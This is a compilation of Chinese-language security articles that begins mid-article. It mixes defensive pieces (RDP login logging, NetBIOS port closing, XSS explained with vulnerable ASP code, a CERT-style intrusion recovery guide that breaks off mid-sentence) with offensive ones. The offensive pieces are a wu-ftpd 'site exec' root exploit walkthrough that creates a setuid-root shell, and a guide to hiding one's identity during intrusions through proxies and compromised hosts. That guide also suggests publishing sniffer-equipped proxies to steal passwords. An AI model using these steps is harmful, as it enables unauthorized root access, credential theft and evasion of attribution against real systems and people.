TCP 192.168.12.28:3389 192.168.12.29:1039ESTABLISHED
也就是说只要这个TSLog.bat文件一运行，所有连在3389端口的ip都会被记录，那么如何让这个批处理文件运行呢？我们知道终端服务允

许我们为用户自定义起始的程序，在终端服务配置中，我们覆盖用户的登陆脚本设置并指定TSLog.bat为用户登录时需要打开的脚本，这

样每个用户登录后都必须执行这个脚本，因为默认得脚本（相当于SHELL环境）是Explorer（资源管理器），所以我在TSLog.bat的最后

一行加上了启动Explorer的命令start Explorer，如果不加这一行命令，用户是没有办法进入桌面的。当然，如果你只需要给用户特定

的SHELL：例如cmd.exe或者word.exe你也可以把start explorer替换成任意的SHELL。
这个脚本也可以有其他的写法，例如写一个脚本把每个登陆用户的ip发送到自己的信箱对于很重要的服务器也是一个很好的方法。
正常情况下，一般的用户没有查看终端服务设置的权限，所以他不会知道你对登陆进行了ip审核，只要把TSLog.bat文件和TSLog.log

文件放在比较隐蔽的目录里就足够了，不过需要注意的是这只是一个简单的终端服务日志攻略，并没有太多的安全保障措施和权限机制

，如果服务器有更高的安全要求，那还是需要通过编程后购买入侵检测 软件来完成。


为什么不能安装TCP/IP？

如果用户原来将TCP/IP删除，而后来又恢复时发生这种问题可能是由于一些TCP/IP的注册值没有删除的原因，可以手工进行删除：

打开注册表编辑器；
选择需要删除的项目；
选择“安全”下的“所有者”，出现“所有者对话框”。
单击“取得所有权”。
选择“安全”菜单项，选择“权限”，出现“注册表项的权限”对话框。
在“名称”列表框中选择“Everyone”。
从“访问类型”下拉框中选择“完全控制”。
选择“替换替换已有子项”的复选框。
单击“确定”。
对所以要删除的注册表项重复第二步到第八步。
重新启动计算机使更改生效。
当计算机重启后，运行regedt32.exe，确认以下都被删除了（这些表项的安全都必须被设置）。

连接方式：
HKEY_LOCAL_MACHINE\Software\Microsoft\NetBT
HKEY_LOCAL_MACHINE\Software\Microsoft\Tcpip
HKEY_LOCAL_MACHINE\Software\Microsoft\TcpipCU
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DHCP
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lmhosts
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\'NetDriver'x\Parameters\Tcpip (其中“x”是网络适配器号）
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

SNMP服务:
HKEY_LOCAL_MACHINE\Software\Microsoft\RFC1156Agent
HKEY_LOCAL_MACHINE\Software\Microsoft\SNMP
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP

TCP/IP网络打印支持：
HKEY_LOCAL_MACHINE\Software\Microsoft\LPDSVC
HKEY_LOCAL_MACHINE\Software\Microsoft\TcpPrint
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LPDSVC

FTP服务器服务：
HKEY_LOCAL_MACHINE\Software\Microsoft\FTPSVC
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FTPSVC

简单TCP/IP服务：
HKEY_LOCAL_MACHINE\Software\Microsoft\SimpTcp
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SimpTcp

DHCP服务器服务：
HKEY_LOCAL_MACHINE\Software\Microsoft\DhcpMibAgent
HKEY_LOCAL_MACHINE\Software\Microsoft\DhcpServer
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DhcpServer

WINS服务器服务：
HKEY_LOCAL_MACHINE\Software\Microsoft\Wins HKEY_LOCAL_MACHINE\Software\Microsoft\WinsMibAgent
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Wins

Windows sockets:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Winsock
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Winsock2

可能需要去除以下表项：
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\Root\Legacy_DHCP
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\Root\Legacy_Lmhosts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\Root\Legacy_LPDSVC
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\Root\Legacy_NetBT
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\Root\Legacy_TCPIP
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Linkage\Bind
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManWorkstation\Linkage\Bind


温柔杀手－跨站Script攻击

每当我们想到黑客的时候，黑客往往是这样一幅画像：一个孤独的人，悄悄进入别人的服务器中，进行破坏或者窃取别人的秘密资料。也许他会更改我们的主页，甚者会窃取客户的信用卡号和密码。另外，黑客还会攻击访问我们网站的客户。与此同时，我们的服务器也成了他的帮凶。微软称这种攻击为“跨站script”攻击。而这种攻击大多数都发生在网站动态产生网页的时侯，但黑客的目标并不是你的网站，而是浏览网站的客户。

跨站script攻击的说明

    在一本名为<<ADVISORY CA--2000-02>>的杂志中，CERT警告大家：如果服务器对客户的输入不进行有效验证，黑客就会输入一些恶意的HTML代码，当这些HTML代码输入是用于SCRIPT程序，他们就能利用它来进行破坏，如插入一些令人厌恶的图片或声音等，同时，也能干扰了客户正确浏览网页。

    我们知道，有些朋友曾经被诱导到一些可疑的免费网站，他们得到的仅仅是10到20个小的窗口，这些窗口常常伴随着由JAVA 或 JAVASCRIPT生成的失效安钮，这被称为鼠标陷阱。关闭这些窗口是徒劳的，每当我们关闭一个窗口，又会有10几个窗口弹出。这种情况常常发生在管理员没在的时侯发生。鼠标事件是黑客利用跨站SCRIPT方法攻客户的典型范例。

    恶意的标签和SCRIPT不单纯的恶作剧，他们甚至可以窃取资料和捣毁系统。一个聪明的甚至是不够聪明的黑客都能够使用SCRIPT干扰或者改变服务器数据的输入。利用SCRIPT代码也能攻击客户系统，让你的硬盘尽损。而且你要知道，在你一边使用服务器的时候，黑客的SCRIPT也正在你服务器里安全的地方运行着的呀！如果客户对你的服务器非常信认，同样他们也会信任那些恶意的SCRIPT代码。甚至这个代码是以〈SCRIPT〉或者〈OBJECT〉的形式来自黑客的服务器。

    即使使用了防火墙（SSL）也不能防止跨站SCRIPT的攻击。那是因为如果生成恶意SCRIPT代码的设备也使用了SSL，我们服务器的SSL是不能辨别出这些代码来的。我们难道就这样把客户曾经那么信任的网站拱手让给黑客吗？而且有这种破坏的存在，会让你网站名誉尽损的。

一、跨站SCRIPT攻击示例：

    根据CERT的资料，动态输入大致有这几种形式：URL参数，表格元素，COOKISE以及数据请求。让我们来分析一下，这个只有两个页面的网站，网站名为：MYNICESITE.COM。第一页使用一张表格或COOKIE来获取用户名：

<%@ Language=VBScript %>

<% If Request.Cookies("userName") <> "" Then

Dim strRedirectUrl

strRedirectUrl = "page2.asp?userName="

strRedirectUrl = strRedirectUrl & Response.Cookies("userName")

Response.Redirect(strRedirectUrl)

Else %>

<HTML>

<HEAD>

<TITLE>MyNiceSite.com Home Page</TITLE>

</HEAD>

<BODY>

<H2>MyNiceSite.com</H2>

<FORM method="post" action="page2.asp">

Enter your MyNiceSite.com username:

<INPUT type="text" name="userName">

<INPUT type="submit" name="submit" value="submit">

</FORM>

</BODY>

</HTML>

<% End If %>

第二页返回用户名以示欢迎：

<%@ Language=VBScript %>

<% Dim strUserName

If Request.QueryString("userName")<> "" Then

strUserName = Request.QueryString("userName")

Else

Response.Cookies("userName") = Request.Form("userName")

strUserName = Request.Form("userName")

End If %>

<HTML>

<HEAD></HEAD>

<BODY>

<H3 align="center">Hello: <%= strUserName %> </H3>

</BODY>

</HTML>
    当你正常常输入文字时，一切都很正常。如果你输入Script代码：<SCRIPT>alert('Hello.';</script>,JavaScript警告标签就会弹出来：
    在你下一次访问时，这个警示标签同样会出现；这是因为这个Script代码在你第一次访问的时后就已经留在cookie中了。这是一个简单的跨站攻击的范例。

    如果你认为这是一个特殊情况，你也不妨到网上别的地方看看，亲自试一下。我曾经对一些大型的政府网站、教育网站以及商业网站进行过测试，他们当中的确有部分出现了以上所说的情况，我甚至发现了我经常使用信用卡的网站也居然对输入不进行任何过滤，想想真是可怕。


我们自己来关闭137,138,139端口吧

137，138是udp端口。当通过网络邻居传输文件的时候就是通过这个2个端口.139端口是netbios提供服务的tcp端口。我发现在windows9x下可以完全关闭这几个端口。完全禁止了netbios服务。方式是在控制面板-网络-只保留tcp/ip协议和拨号网络适配器。但是这样windows会提示你网络不完整。但是还可以继续使用。在tcp/ip协议里的netbios一项不要选择绑定到tcp/ip协议。这时候你的netbios服务完全停止了。你的机器也没有137，138和139端口了。这样追捕也搞不清你到底是9x还是unix了。windowsNT下可以封锁这些端口。封锁不必要的TCP和UDP端口可以通过在网络控制面板的IP地址对话框中进行配置来完成。 点击高级按钮激活高级IP地址对话框， 然后点击Enable Secury 对话框，然后点击配置按钮激活TCP/IP安全对话框， 那里列出了那些TCP和UDP端口被允许了。但是好像不能识别拨号网络适配器。


我是如何获得root一种方法

灌一编一种获得root的文章。呵呵！~~~~~

前提是该主机的ftpd使用wu-ftp 2.x版本，uname -a小试一下啊！呵呵，还要有该主机上一个账号Phoenix，如何获得呢，想想啊！用户在UNIX系统中注册后，系统一般会为它生成信箱的，你说呢？呵呵~~~而这个信箱的地址大都是"用户名@主机名"，我们以www.netxeyes.com为例吧！榕哥不要打我啊！假设啊！呵呵~~~~谁叫榕哥的www.netxeyes.com这么有名呢！那他肯定是：Phoenix@netxeyes.com。Phoenx往往是unix有效的用户名，我们不妨去猜猜它的密码啊！怎么猜啊？用ftp密码破解工具榕哥的流光4啊！呵呵~~~~
下面开始了，先telnet login到主机Phoenix账号的目录下，gcc bug.c -o bug用它可编C程序，编一个这样的小程序：
#include
#include
#include
main()
{
seteuid(0);
system("cp /bin/sh /tmp/.sh");
system("chmod 6777 /tmp/.sh");
}
这样Phoenix目录下产生bug这个档案!使用ftp login到该主机下:
220 hackerforce FTP server (Version wu-2.4(1) Sun Jul 31 21:00:15 CDT 1997) ready.
Name (hackerforce:ftp): Phoenix
331 Password required for Phoenix
Password: *****
230 User funky logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
接下来执行：quote "site exec bash -c id" 也就是检查系统是否能利用此 bug
200-bash -c id
200-uid=0(root) gid=0(root) euid=101(funky) egid=50(users) groups=50(users)
200 (end of 'bash -c id')
一但出现 euid=0 就成功了啊！
ftp>
再执行：
quote "site exec bash -c /yer/home/dir/ftpbug"
也就是执行您刚编译成功的 bug啊！
200-bash -c /your/home/dir/bug
200 (end of 'bash -c /your/home/dir/bug')
ftp>
再执行 quit
221 Goodbye.
再telnet进去该主机,执行 /tmp/.sh 这个 setuid root shell ...
$ id
uid=101(funky) gid=50(user)
$ /tmp/.sh

# id
uid=101(funky) gid=50(user) euid=0(root)
#
看到#提示符了吗？这时候祝贺你啊，就拿到root权限了!呵呵~~~~~~这是我看很多很多很多各位前辈的UNIX文章中总结出来的！菜菜而已啊！


我在网上失了身

别误会,这张帖子是谈谈怎样在网上入侵时,隐蔽自己的身份(IP)的.
一)sock5代理的选择.
我自己有几个铁定的原则:
1)国内的sock5代理绝对不用.
这应该很好理解吧.
2)非1080端口的sock5代理绝对不用.
原因是非1080端口的代理(比如1813等)很多都是"同行"在有漏洞的主机上创建的,这样的代理安全性何在?而1080端口的代理大部分都是机主自己创建的,属于"合法"的,一般存在的漏洞较少.
3)有漏洞的1080端口的sock5代理绝对不用.
我一般会对代理进行全方面的扫描,如果代理主机开了135,139,80,1433,3306,3389,即使没有漏洞,我也不用.
3)别人公布的代理绝对不用或少用.
这个也应该很好理解吧.我一般用代理猎手在肉鸡上搜索代理,一晚上弄出一万个代理没问题.
4)自己动手做的代理不用(只给别人用),别人做的肉鸡代理更不用.
很多人喜欢用snake的代理跳板自己在肉鸡上做代理.我不赞成这种做法,除非你的肉鸡被你打了补丁一点漏洞也没有了.否则你不过是在网上赤裸狂奔,你还以为别人都发现不了你.原因很简单,你的这些自己作的代理都是些漏洞百出的主机,别人查你要不了两分钟.
综合这几条原则,我选择出来的代理一般是只开了1080端口没有任何漏洞的主机,这样你的代理的IP被人发现了,别人也奈你不何,因为你的代理没有任何漏洞.
5)即使再好用的代理,最多只用两周.
也好理解吧.
二)所有的操作都在肉鸡上进行.
最好是3389肉鸡,包括扫描,net命令,建立IPC会话,复制,安装后门,我全部都是在3389的肉鸡上进行的(在肉鸡上用肉鸡的IE下载全部常用的黑客软件).至于telent或ftp等,则可以在自己的机器上操作……因为有代理嘛.你可能要问了,为什么net命令等都要在肉鸡上进行?原因:net use命令建立的IPC连接无法通过代理,自己可以测试.只要你用net use命令建立了IPC连接,对方主机上就会留下你的IP(用netstat -n查看),不管你用没用代理.但telnet,ftp等可以通过代理.所以,以上基于net命令的操作我都在肉鸡上进行.
三)在进行操作的3389肉鸡上的隐蔽手段.
1)最好先另外创建一个账号.
好处在于,当网络出现错误时,你断开了连接,而不怕下一个登陆者很容易发现你打开的一些文件夹或用的软件.
2)用这个创建的账号登陆3389后,打开Documents and Settings文件夹,将其中的你的账号的那个文件夹属性设置为隐藏.(不包扩子目录)
3)如果在肉鸡上进行了IE操作,一定时间后记得清除"缓存"和"cookies",经常清除"文档访问记录","历史记录"等.
4)将自己的账号密码设置为"不可更改",以防别人更改自己的账号.
5)在肉鸡上安装的程序都要安装到隐蔽的目录.并且将这些软件在"程序"菜单中的快捷方式全部删除.
6)在发现机主基本不用3389的情况下,更改3389端口号.

通过以上方法,你基本上可以作到在网上失了身.
只能说基本上,其实也存在不安全因素,比如你选择的代理,如果恰好碰到一个恶意的代理机主,他在代理服务器上安装了嗅探器.那我们所有操作都没有秘密可言,但这种情况很少见.我们倒是可以自己做一些代理,然后安装嗅探器,然后将这些代理公布,这就是钓鱼呀!最后的结果是你通过嗅探器得到的邮箱密码,QQ密码,色情网站的密码等等多得你简直不想再要了.

另外,有朋友会说了,又是用代理,又是很多操作都在肉鸡上进行,不麻烦吗?而且速度会不会很慢?我的体会是一点也不麻烦,速度一点也不慢,我感觉和自己电脑本地操作区别不大.当然你选择的代理速度要快,3389肉鸡配置要过得去(一般配置的可以当垃圾扔了吧)


系统的进程列表

进程名 描述

最基本的系统进程（也就是说，这些进程是系统运行的基本条件，有了这些进程，系统就能正常运行）

smss.exe Session Manager
csrss.exe 子系统服务器进程
winlogon.exe 管理用户登录
services.exe 包含很多系统服务
lsass.exe 管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。(系统服务) 产生会话密钥以及授予用于交互式客户/服务器验证的服务凭据(ticket)。(系统服务) ->netlogon
svchost.exe 包含很多系统服务 !!!->eventsystem,
(SPOOLSV.EXE 将文件加载到内存中以便迟后打印。)
explorer.exe 资源管理器
(internat.exe 托盘区的拼音图标)

====================================================================

附加的系统进程（这些进程不是必要的，你可以根据需要通过服务管理器来增加或减少）

mstask.exe 允许程序在指定时间运行。(系统服务)->schedule
regsvc.exe 允许远程注册表操作。(系统服务)->remoteregister
winmgmt.exe 提供系统管理信息(系统服务)。
inetinfo.exe->msftpsvc,w3svc,iisadmn
tlntsvr.exe->tlnrsvr
tftpd.exe 实现 TFTP Internet 标准。该标准不要求用户名和密码。远程安装服务的一部分。(系统服务)
termsrv.exe ->termservice
dns.exe 应答对域名系统(DNS)名称的查询和更新请求。(系统服务)

=================================================================
以下全是系统服务,并且很少会用到，如果你暂时用不着,应该关掉(对安全有害 )

tcpsvcs.exe 提供在 PXE 可远程启动客户计算机上远程安装 Windows 2000 Professional 的能力。(系统服务)->simptcp
支持以下 TCP/IP 服务：Character Generator, Daytime, Discard, Echo, 以及 Quote of the Day。(系统服务)
ismserv.exe 允许在 Windows Advanced Server 站点间发送和接收消息。(系统服务)
ups.exe 管理连接到计算机的不间断电源(UPS)。(系统服务)
wins.exe 为注册和解析 NetBIOS 型名称的 TCP/IP 客户提供 NetBIOS 名称服务。(系统服务)
llssrv.exe License Logging Service(system service)
ntfrs.exe 在多个服务器间维护文件目录内容的文件同步。(系统服务)
RsSub.exe 控制用来远程储存数据的媒体。(系统服务)
locator.exe 管理 RPC 名称服务数据库.->rpclocator(区 RpcSs)
lserver.exe 注册客户端许可证。(系统服务)
dfssvc.exe 管理分布于局域网或广域网的逻辑卷。(系统服务)
clipsrv.exe 支持“剪贴簿查看器”，以便可以从远程剪贴簿查阅剪贴页面。(系统服务)
msdtc.exe 并列事务，是分布于两个以上的数据库，消息队列，文件系统，或其它事务保护资源管理器。(系统服务)
faxsvc.exe 帮助您发送和接收传真。(系统服务)
cisvc.exe Indexing Service(system service)!!!
dmadmin.exe 磁盘管理请求的系统管理服务。(系统服务)
mnmsrvc.exe 允许有权限的用户使用 NetMeeting 远程访问 Windows 桌面。(系统服务)
netdde.exe 提供动态数据交换 (DDE) 的网络传输和安全特性。(系统服务)
smlogsvc.exe 配置性能日志和警报。(系统服务)
rsvp.exe 为依赖质量服务(QoS)的程序和控制应用程序提供网络信号和本地通信控制安装功能。(系统服务)
RsEng.exe 协调用来储存不常用数据的服务和管理工具。(系统服务)
RsFsa.exe 管理远程储存的文件的操作。(系统服务)
grovel.exe 扫描零备份存储(SIS)卷上的重复文件，并且将重复文件指向一个数据存储点，以节省磁盘空间。(系统服务)
SCardSvr.exe 对插入在计算机智能卡阅读器中的智能卡进行管理和访问控制。(系统服务)
snmp.exe 包含代理程序可以监视网络设备的活动并且向网络控制台工作站汇报。(系统服务)
snmptrap.exe 接收由本地或远程 SNMP 代理程序产生的陷阱消息，然后将消息传递到运行在这台计算机上 SNMP 管理程序。(系统服务)
UtilMan.exe 从一个窗口中启动和配置辅助工具。(系统服务)
msiexec.exe 依据 .MSI 文件中包含的命令来安装、修复以及删除软件。(系统服务)

总结：
发现可疑进程的秘诀就是要多看任务管理器中的进程列表，看多了以后，一眼就可以发现可疑进程，就象
找一群熟悉人中的陌生人一样。


系统恢复指南

LinuxAid Ni-ZhiQiang

简介

本文主要讲述UNIX或者NT系统如果被侵入，应该如何应对。

注意:你在系统恢复过程中的所有步骤都应该与你所在组织的网络安全策略相符。

A.准备工作

1.商讨安全策略

如果你的组织没有自己的安全策略，那么需要按照以下步骤建立自己的安全策略：

1.1.和管理人员协商

将入侵事故通知管理人员，可能在有的组织中很重要。在be aware进行事故恢复的时候，网络管理人员能够得到内部各部门的配合。也应该明白入侵可能引起传媒的注意。

1.2.和法律顾问协商

在开始你的恢复工作之前，你的组织需要决定是否进行法律调查。 注意CERT(Computer Emergency Response Team)只提供技术方面的帮助和提高网络主机对安全事件的反应速度。它们不会提出法律方面的建议。所以，对于法律方面的问题建议你咨询自己的法律顾问。你的法律顾问能够告诉你入侵者应该承担的法律责任(民事的或者是刑事的)，以及有关的法律程序。

现在，是你决定如何处理这起事故的时候了，你可以加强自己系统的安全或者选择报警。

如果你想找出入侵者是谁，建议你与管理人员协商并咨询法律顾问，看看入侵者是否触犯了地方或者全国的法律。根据这些，你可以报案，看看警方是否愿意对此进行调查。 针对与入侵事件，你应该与管理人员和法律顾问讨论以下问题：

如果你要追踪入侵者或者跟踪网络连接，是否会触犯法律。

如果你的站点已经意识到入侵但是没有采取措施阻止，要承担什么法律责任。

入侵者是否触犯了全国或者本地的法律。

是否需要进行调查。

是否应该报警。

1.3.报警

通常，如果你想进行任何类型的调查或者起诉入侵者，最好先跟管理人员和法律顾问商量以下。然后通知有关执法机构。

一定要记住，除非执法部门的参与，否则你对入侵者进行的一切跟踪都可能是非法的。

1.4.知会其他有关人员

除了管理者和法律顾问之外，你还需要通知你的恢复工作可能影响到的人员，例如其他网络管理人员和用户。 2.记录恢复过程中所有的步骤

毫不夸张地讲，记录恢复过程中你采取的每一步措施，是非常重要的。恢复一个被侵入的系统是一件很麻烦的事，要耗费大量的时间，因此经常会使人作出一些草率的决定。记录自己所做的每一步可以帮助你避免作出草率的决定，还可以留作以后的参考。记录还可能对法律调查提供帮助。

B.夺回对系统的控制权

1.将被侵入的系统从网络上断开

为了夺回对被侵入系统的控制权，你需要将其从网络上断开，包括播号连接。断开以后，你可能想进入UNIX系统的单用户模式或者NT的本地管理者(local administrator)模式，以夺回系统控制权。然而，重启或者切换到单用户/本地管理者模式，会丢失一些有用的信息，因为被侵入系统当前运行的所有进程都会被杀死。

因此，你可能需要进入C.5.检查网络嗅探器节，以确定被侵入的系统是否有网络嗅探器正在运行。

在对系统进行恢复的过程中，如果系统处于UNIX单用户模式下，会阻止用户、入侵者和入侵进程对系统的访问或者切换主机的运行状态。

如果在恢复过程中，没有断开被侵入系统和网络的连接，在你进行恢复的过程中，入侵者就可能连接到你的主机，破坏你的恢复工作。 2.复制一份被侵入系统的影象

在进行入侵分析之前，建议你备份被侵入的系统。以后，你可能会用得着。

如果有一个相同大小和类型的硬盘，你就可以使用UNIX命令dd将被侵入系统复制到这个硬盘。

例如，在一个有两个SCSI硬盘的Linux系统，以下命令将在相同大小和类型的备份硬盘(/dev/sdb)上复制被侵入系统(在/dev/sda盘上)的一个精确拷贝。

# dd if=/dev/sda of=/dev/sdb

请阅读dd命令的手册页获得这个命令更详细的信息。

还有一些其它的方法备份被侵入的系统。在NT系统中没有类似于dd的内置命令，你可以使用一些第三方的程序复制被侵入系统的整个硬盘影象。

建立一个备份非常重要，你可能会需要将系统恢复到侵入刚被发现时的状态。它对法律调查可能有帮助。记录下备份的卷标、标志和日期，然后保存到一个安全的地方以保持数据的完整性。

C.入侵分析

现在你可以审查日志文件和系统配置文件了，检查入侵的蛛丝马迹，入侵者对系统的修改，和系统配置的脆弱性。

1.检查入侵者对系统软件和配置文件的修改

a.校验系统中所有的二进制文件

在检查入侵者对系统软件和配置文件的修改时，一定要记住:你使用的校验工具本身可能已经被修改过，操作系统的内核也有可能被修改了，这非常普遍。因此，建议你使用一个可信任的内核启动系统，而且你使用的所有分析工具都应该是干净的。对于UNIX系统，你可以通过建立一个启动盘，然后对其写保护来获得一个可以信赖的操作系统内核。

你应该彻底检查所有的系统二进制文件，把它们与原始发布介质(例如光盘)做比较。因为现在已经发现了大量的特洛伊木马二进制文件，攻击者可以安装到系统中。

在UNIX系统上，通常有如下的二进制文件会被特洛伊木马代替：telnet、in.telnetd、login、su、ftp、ls、ps、netstat、ifconfig、find、du、df、libc、sync、inetd和syslogd。除此之外，你还需要检查所有被/etc/inetd.conf文件引用的文件，重要的网络和系统程序以及共享库文件。

在NT系统上。特洛伊木马通常会传播病毒，或者所谓的"远程管理程序"，例如Back Orifice和NetBus。特洛伊木马会取代处理网络连接的一些系统文件。

一些木马程序具有和原始二进制文件相同的时间戳和sum校验值，通过校验和无法判断文件是否被修改。因此，对于UNIX系统，我们建议你使用cmp程序直接把系统中的二进制文件和原始发布介质上对应的文件进行比较。

你还可以选择另一种方法检查可疑的二进制文件。向供应商索取其发布的二进制文件的MD5校验值，然后使用MD5校验值对可疑的二进制文件进行检查。这种方法适用于UNIX和NT。

b.校验系统配置文件

在UNIX系统中，你应该进行如下检查：

检查/etc/passwd文件中是否有可疑的用户

检查/etc/inet.conf文件是否被修改过

如果你的系统允许使用r命令,例如rlogin、rsh、rexec，你需要检查/etc/hosts.equiv或者.rhosts文件。

检查新的SUID和SGID文件。下面命令会打印出系统中的所有SUID和SGID文件：

#find / ( -perm -004000 -o -perm -002000 ) -type f -print

对于NT，你需要进行如下检查：

检查不成对的用户和组成员

检查启动登录或者服务的程序的注册表入口是否被修改

检查"net share"命令和服务器管理工具共有的非验证隐藏文件

检查pulist.ext程序无法识别的进程

2.检查被修改的数据

入侵者经常会修改系统中的数据。所以建议你对web页面文件、ftp存档文件、用户目录下的文件以及其它的文件进行校验。

3.检查入侵者留下的工具和数据

入侵者通常会在系统中安装一些工具，以便继续监视被侵入的系统。

入侵者一般会在系统中留下如下种类的文件：

网络嗅探器

网络嗅探器就是监视和记录网络行动的一种工具程序。入侵者通常会使用网络嗅探器获得在网络上以明文进行传输的用户名和密码。(见C.5)
嗅探器在UNIX系统中更为常见。

特洛伊木马程序

特洛伊木马程序能够在表面上执行某种功能，而实际上执行另外的功能。因此，入侵者可以使用特洛伊木马程序隐藏自己的行为，获得用户名和密码数据，建立后门以便将来对系统在此访问被侵入系统。

后门

后门程序将自己隐藏在被侵入的系统，入侵者通过它就能够不通过正常的系统验证，不必使用安全缺陷攻击程序就可以进入系统。

安全缺陷攻击程序

系统运行存在安全缺陷的软件是其被侵入的一个主要原因。入侵者经常会使用一些针对已知安全缺陷的攻击工具，以此获得对系统的非法访问权限。这些工具通常会留在系统中，保存在一个隐蔽的目录中。

入侵者使用的其它工具

以上所列无法包括全部的入侵工具，攻击者在系统中可能还会留下其它入侵工具。这些工具包括：

系统安全缺陷探测工具
对其它站点发起大规模探测的脚本
发起拒绝服务攻击的工具
使用被侵入主机计算和网络资源的程序

入侵工具的输出

你可能会发现入侵工具程序留下的一些日志文件。在这些文件中可能会包含被牵扯的其它站点，攻击者利用的安全缺陷，以及其它站点的安全缺陷。

因此，建议你对系统进行彻底的搜索，找出上面列出的工具及其输出文件。一定要注意：在搜索过程中，要使用没有被攻击者修改过的搜索工具拷贝。 搜索主要可以集中于以下方向：

检查UNIX系统/dev/目录下意外的ASCII文件。一些特洛伊木马二进制文件使用的配置文件通常在/dev目录中。

仔细检查系统中的隐藏文件和隐藏目录。如果入侵者在系统中建立一个一个新的帐户，那么这个新帐户的起始目录以及他使用的文件可能是隐藏的。

检查一些名字非常奇怪的目录和文件，例如:...(三个点)、..(两个点)以及空白(在UNIX系统中)。入侵者通常会在这样的目录中隐藏文件。对于NT，应该检查那些名字和一些系统文件名非常接近的目录和文件。

4.审查系统日志文件

详细地审查你的系统日志文件，你可以了解系统是如何被侵入的，入侵过程中，攻击者执行了哪些操作，以及哪些远程主机访问了你的主机。通过这些信息，你能够对入侵有更加清晰的认识。

记住:系统中的任何日志文件都可能被入侵者改动过。

对于UNIX系统，你可能需要查看/etc/syslog.conf文件确定日志信息文件在哪些位置。NT通常使用三个日志文件，记录所有的NT事件，每个NT事件都会被记录到其中的一个文件中，你可以使用Event Viewer查看日志文件。其它一些NT应用程序可能会把自己的日志放到其它的地方，例如ISS服务器默认的日志目录是c:winntsystem32logfiles。

以下是一个通常使用的UNIX系统日志文件列表。由于系统配置的不同可能你的系统中没有其中的某些文件。

messages

messages日志文件保存了大量的信息。可以从这个文件中发现异常信息，检查入侵过程中发生了哪些事情。

xferlog

如果被侵入系统提供FTP服务，xferlog文件就会记录下所有的FTP传输。这些信息可以帮助你确定入侵者向你的系统上载了哪些工具，以及从系统下载了哪些东西。

utmp

保存当前登录每个用户的信息，使用二进制格式。这个文件只能确定当前哪些用户登录。使用who命令可以读出其中的信息。

wtmp

每次用户成功的登录、退出以及系统重启，都会在wtmp文件中留下记录。这个文件也使用二进制格式，你需要使用工具程序从中获取有用的信息。last就是一个这样的工具。它输出一个表，包括用户名、登录时间、发起连接的主机名等信息，详细用法可以使用man last查询。检查在这个文件中记录的可疑连接，可以帮助你确定牵扯到这起入侵事件的主机，找出系统中的哪些帐户可能被侵入了。

secure

某些些版本的UNIX系统(例如：RedHat Linux)会将tcp_wrappers信息记录到secure文件中。如果系统的inetd精灵使用tcp_wrappers,每当有连接请求超出了inetd提供的服务范围，就会在这个文件中加入一条日志信息。通过检查这个日志文件，可以发现一些异常服务请求，或者从陌生的主机发起的连接。

审查日志，最基本的一条就是检查异常现象。

5.检查网络嗅探器

入侵者侵入一个UNIX系统后，为了获得用户名和密码信息，一般会在系统上安装一个网络监视程序，这种程序就叫作嗅探器或者数据包嗅探器。对于NT，入侵者会使用远程管理程序实现上述目的。

判断系统是否被安装了嗅探器，首先要看当前是否有进程使你的网络接口处于混杂（Promiscuous）模式下。如果任何网络接口处于promiscuous模式下，就表示可能系统被安装了网络嗅探器。注意如果你重新启动了系统或者在单用户模式下操作，可能无法检测到Promiscuous模式。使用ifconfig命令就可以知道系统网络接口是否处于promoscuous模式下(注意一定使用没有被侵入者修改的ifconfig):

#/path-of-clean-ifconfig/ifconfig -a

有一些工具程序可以帮助你检测系统内的嗅探器程序：

cpm(Check Promiscuous Mode)--UNIX

可以从以下地址下载：

ftp://coast.cs.purdue.edu/pub/tools/unix/cpm/

ifstatus--UNIX

可以从以下地址下载：

ftp://coast.cs.purdue.edu/pub/tools/unix/ifstatus/

neped.c

可以从以下地址的到：

ftp://apostols.org/AposTolls/snoapshots/neped/neped.c

一定要记住一些合法的网络监视程序和协议分析程序也会把网络接口设置为promiscuous模式。检测到网络接口处于promicuous模式下，并不意味着系统中有嗅探器程序正在运行。

但是，在Phrack杂志的一篇文章:(Phrack Magazine Volume 8,Issue 53 July 8,1998,article 10 of 15, Interface Promiscuity Obscurity)中,有人提供了一些针对FreeBSD、Linux、HP-UX、IRIX和Solaris系统的模块，可以擦除IFF_PROMISC标志位，从而使嗅探器逃过此类工具的检查。以此，即使使用以上的工具，你没有发现嗅探器，也不能保证攻击者没有在系统中安装嗅探器。

现在，LKM(Loadable Kernel Model,可加载内核模块)的广泛应用，也增加了检测难度。关于这一方面的检测请参考使用KSAT检测可加载内核模块。

还有一个问题应该注意，嗅探器程序的日志文件的大小会急剧增加。使用df程序查看文件系统的某个部分的大小是否太大，也可以发现嗅探器程序的蛛丝马迹。建议使用lsof程序发现嗅探器程序打开的日志文件和访问访问报文设备的程序。在此，还要注意:使用的df程序也应该是干净的。

一旦在系统中发现了网络嗅探器程序，我们建议你检查嗅探器程序的输出文件确定哪些主机受到攻击者威胁。被嗅探器程序捕获的报文中目的主机将受到攻击者的威胁，不过如果系统的密码是通过明文传输，或者目标主机和源主机互相信任，那么源主机将受到更大的威胁。

通常嗅探器程序的日志格式如下：

